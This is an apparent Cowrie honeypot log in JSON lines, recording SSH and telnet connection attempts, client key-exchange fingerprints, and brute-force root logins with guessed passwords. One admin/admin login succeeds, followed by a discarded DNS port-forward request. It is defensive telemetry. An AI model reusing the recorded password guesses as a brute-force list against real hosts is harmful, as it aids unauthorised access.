{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:10.836604Z","src_ip":"147.45.199.80","session":"23c1c0941a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:11.134404Z","src_ip":"147.45.199.80","session":"23c1c0941a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:12.236911Z","src_ip":"147.45.199.80","session":"23c1c0941a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":49182,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f67959393f","protocol":"ssh","message":"New connection: 103.75.182.198:49182 (10.17.0.5:22) [session: 00f67959393f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:18.335753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:18.340089Z","src_ip":"103.75.182.198","session":"00f67959393f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:18.588136Z","src_ip":"103.75.182.198","session":"00f67959393f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha","message":"login attempt [root/pasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:19.323260Z","src_ip":"103.75.182.198","session":"00f67959393f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:20.569541Z","src_ip":"103.75.182.198","session":"00f67959393f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"be881d025e08","protocol":"telnet","message":"New connection: 192.119.13.58:34960 (10.17.0.5:23) [session: be881d025e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:30.925964Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":59220,"dst_ip":"159.203.135.109","dst_port":22,"session":"da8651376fe2","protocol":"ssh","message":"New connection: 43.156.237.246:59220 (159.203.135.109:22) [session: da8651376fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:47.056319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:47.062570Z","src_ip":"43.156.237.246","session":"da8651376fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:47.309892Z","src_ip":"43.156.237.246","session":"da8651376fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123.0","message":"login attempt [root/qwe123.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:48.335734Z","src_ip":"43.156.237.246","session":"da8651376fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52952,"dst_ip":"159.203.135.109","dst_port":22,"session":"f54a64b32a26","protocol":"ssh","message":"New connection: 103.27.238.120:52952 (159.203.135.109:22) [session: f54a64b32a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:49.546621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:49.550241Z","src_ip":"103.27.238.120","session":"f54a64b32a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:49.583817Z","src_ip":"43.156.237.246","session":"da8651376fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:49.817783Z","src_ip":"103.27.238.120","session":"f54a64b32a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostik","message":"login attempt [root/kostik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:50.614280Z","src_ip":"103.27.238.120","session":"f54a64b32a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:51.882828Z","src_ip":"103.27.238.120","session":"f54a64b32a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.65562725067139,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:07.581456Z","src_ip":"192.119.13.58","session":"be881d025e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38378,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf49970b5d3","protocol":"telnet","message":"New connection: 192.119.13.58:38378 (10.17.0.5:23) [session: 9cf49970b5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:16.339398Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4bf8c153988","protocol":"telnet","message":"New connection: 192.119.13.58:46636 (10.17.0.5:23) [session: d4bf8c153988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:18.524564Z"}
{"eventid":"cowrie.session.closed","duration":0.005522251129150391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:18.529950Z","src_ip":"192.119.13.58","session":"d4bf8c153988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.22706341743469,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:54.566283Z","src_ip":"192.119.13.58","session":"9cf49970b5d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":42556,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae84f5d0173","protocol":"ssh","message":"New connection: 43.130.16.4:42556 (159.203.135.109:22) [session: 1ae84f5d0173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:56.523211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:56.527733Z","src_ip":"43.130.16.4","session":"1ae84f5d0173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:56.603471Z","src_ip":"43.130.16.4","session":"1ae84f5d0173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stefano","message":"login attempt [root/stefano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:56.937066Z","src_ip":"43.130.16.4","session":"1ae84f5d0173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:12:58.009378Z","src_ip":"43.130.16.4","session":"1ae84f5d0173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fec7da1756","protocol":"telnet","message":"New connection: 192.119.13.58:36710 (10.17.0.5:23) [session: d4fec7da1756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:00.977026Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48998,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4625b5dad50","protocol":"ssh","message":"New connection: 194.59.206.2:48998 (10.17.0.5:22) [session: c4625b5dad50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:23.858246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:23.862832Z","src_ip":"194.59.206.2","session":"c4625b5dad50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:23.948764Z","src_ip":"194.59.206.2","session":"c4625b5dad50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:24.039976Z","src_ip":"194.59.206.2","session":"c4625b5dad50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26550,"dst_ip":"10.17.0.5","dst_port":22,"session":"267d93a32adc","protocol":"ssh","message":"New connection: 87.251.64.176:26550 (10.17.0.5:22) [session: 267d93a32adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:26.455483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:26.459466Z","src_ip":"87.251.64.176","session":"267d93a32adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:26.557625Z","src_ip":"87.251.64.176","session":"267d93a32adc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:26.846962Z","src_ip":"87.251.64.176","session":"267d93a32adc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:26.945980Z","session":"267d93a32adc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:27.044342Z","src_ip":"87.251.64.176","session":"267d93a32adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:27.142575Z","src_ip":"87.251.64.176","session":"267d93a32adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.098764419555664,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:50.075670Z","src_ip":"192.119.13.58","session":"d4fec7da1756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":34748,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b78cf153ae7","protocol":"ssh","message":"New connection: 43.153.39.191:34748 (159.203.135.109:22) [session: 7b78cf153ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:56.291118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:13:56.295712Z","src_ip":"43.153.39.191","session":"7b78cf153ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa